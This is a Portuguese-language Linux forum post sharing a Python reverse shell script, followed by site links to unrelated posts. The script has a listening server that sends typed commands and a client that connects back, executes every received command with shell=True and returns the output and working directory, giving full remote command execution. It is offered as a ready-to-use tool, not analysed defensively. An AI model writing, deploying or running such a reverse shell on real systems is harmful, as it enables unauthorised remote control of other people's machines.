Shell Reverso em Python
Publicado por henrique (última atualização em 04/11/2020)
[ Hits: 4.376 ]
Homepage: naotem.com
Shell reverso básico em Python.
#!/usr/bin/env python3 import socket, os, subprocess, sys from time import sleep from concurrent.futures import ThreadPoolExecutor n_threads = 10 buffer = int(4096) try: if sys.argv[1] == '-h': print("""-l [ipv4] -p [port] -s = servidor -c = cliente -h = ajuda example: ./msfconsoleh -l 192.168.0.102 -p 9999 -s""") sys.exit() except: print("""-l [ipv4] -p [port] -s = servidor -c = cliente -h = ajuda example: ./msfconsoleh -l 192.168.0.102 -p 9999 -s""") sys.exit() if sys.argv[1] == '-l': host = str(sys.argv[2]) if sys.argv[3] == '-p': port = int(sys.argv[4]) a = input('cliente ou servidor: ') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) def send_commands(client_socket): print('qualquer comando depois siga') while True: cmd = input() if cmd == 'exit': client_socket.close() s.close() sys.exit() if len(str.encode(cmd)) > 0: client_socket.send(str.encode(cmd)) client_response = str(client_socket.recv(1024), "utf-8") print(client_response, end="") def server(): s.bind((host, port)) s.listen(5) print(f'listando {host}:{port} ...') client_socket, client_adress = s.accept() print(f'{client_adress[0]}:{client_adress[1]} Connectado!') message = 'hnx' client_socket.send(message.encode()) send_commands(client_socket) client_socket.close() def client(): s.connect((host, port)) message = s.recv(buffer).decode() print('servidor: ', message) while True: data = s.recv(buffer) if data[:2].decode("utf-8") == 'cd': os.chdir(data[3:].decode("utf-8")) if len(data) > 0: cmd = subprocess.Popen(data[:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) output_bytes = cmd.stdout.read() output_str = str(output_bytes, "utf-8") s.send(str.encode(output_str + str(os.getcwd()) + '#')) s.close() with ThreadPoolExecutor(max_workers=n_threads) as pool: pool.map(server) pool.map(client) if a in 'Ss': server() if a in 'Cc': client() if s.close() or sys.exit(): print('-' * 20, 'fim', '-' * 17)
Ligando máquina pela rede usando Python
Envio de comandos por ssh sem troca de chaves a múltiplos servidores
HCoin - Preço do Dólar, Bitcoin e Euro em Python
Shell reverso em Python - cliente e servidor
Atenção a quem posta conteúdo de dicas, scripts e tal (1)
Manutenção de sistemas Linux Debian e derivados com apt-get, apt, aptitude e dpkg
Melhorando o tempo de boot do Fedora e outras distribuições
Como instalar as extensões Dash To Dock e Hide Top Bar no Gnome 45/46
Como Atualizar Fedora 39 para 40
Instalar Google Chrome no Debian e derivados
Consertando o erro do Sushi e Wayland no Opensuse Leap 15
Instalar a última versão do PostgreSQL no Lunix mantendo atualizado
Flathub na sua distribuição Linux e comandos básicos de gerenciamento
Como adicionar módulo de saúde da bateria dos notebooks Acer ao kernel... (25)
Impressora Canon Ip 1800 (Drivers) 64 bit (1)
Erro ao converter string para inteiro (6)
[Shell Script] Script para desinstalar pacotes desnecessários no OpenSuse
[Shell Script] Script para criar certificados de forma automatizada no OpenVpn
[Shell Script] Conversor de vídeo com opção de legenda
[C/C++] BRT - Bulk Renaming Tool
[Shell Script] Criação de Usuarios , Grupo e instalação do servidor de arquivos samba